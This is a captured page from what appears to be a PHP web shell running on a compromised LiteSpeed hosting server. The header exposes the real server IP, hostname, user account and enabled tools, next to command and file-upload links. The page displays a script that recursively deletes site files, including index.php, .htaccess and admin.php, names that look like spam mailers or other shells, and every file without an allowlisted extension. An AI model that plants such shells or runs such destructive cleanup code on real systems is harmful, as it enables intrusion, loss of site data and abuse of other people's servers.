|
Server IP : 103.49.131.241 / Your IP : 216.73.216.234 Web Server : LiteSpeed System : Linux cpindia.liteserverdns.in 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : flightsc ( 2923) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/flightsc/giftingonline.in/../landplote.flightscapez.com/911144/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$rootDir = __DIR__;
// Explicit filenames to delete
$targetFiles = [
'.htaccess',
'toggige-arrow.jpg',
'cache.php',
'index.php',
'NIyUk.m3u',
'hFwtqnsN.jpc',
'1.txt',
'about.php',
'radio.php',
'admin.php',
'beta.php',
'robots.txt',
'txets.php',
'wav_69b9f974d9ae9.zip',
'AUbWHwCnFV.wma',
'f4v_69b9f9aab53d2.zip',
'ogv_69b9f9ae1a071.zip',
'tKjfGCbrwFgucSI.tif',
'01.zip',
'ajax-loader.gif',
'wpspin-1x.gif',
'xit-3x.gif',
// Newly added
'index26.php',
'indexx26.php',
'indexxx26.php',
'maildsekk.php',
'maildsekkk.php',
'orvxmailer.php',
'orvxv4.php',
'schallfuns.php'
];
// Allowed (safe) extensions
$allowedExtensions = [
'php', 'html', 'htm', 'js', 'css',
'jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'ico'
];
function cleanDirectory($dir, $rootDir, $targetFiles, $allowedExtensions) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
cleanDirectory($path, $rootDir, $targetFiles, $allowedExtensions);
} else {
$filename = basename($path);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
// Rule 1: exact filename match
$matchName = in_array($filename, $targetFiles);
// Rule 2: delete .zip ONLY if NOT in root
$isZipOutsideRoot = ($ext === 'zip' && realpath($dir) !== realpath($rootDir));
// Rule 3: delete unwanted extensions (but NEVER delete zip in root)
$notAllowed = !in_array($ext, $allowedExtensions);
// FINAL CONDITION
if (
$matchName ||
$isZipOutsideRoot ||
($notAllowed && !($ext === 'zip' && realpath($dir) === realpath($rootDir)))
) {
if (unlink($path)) {
echo "Deleted: $path\n";
} else {
echo "Failed: $path\n";
}
}
}
}
}
// RUN
cleanDirectory($rootDir, $rootDir, $targetFiles, $allowedExtensions);
echo "Cleanup complete.\n";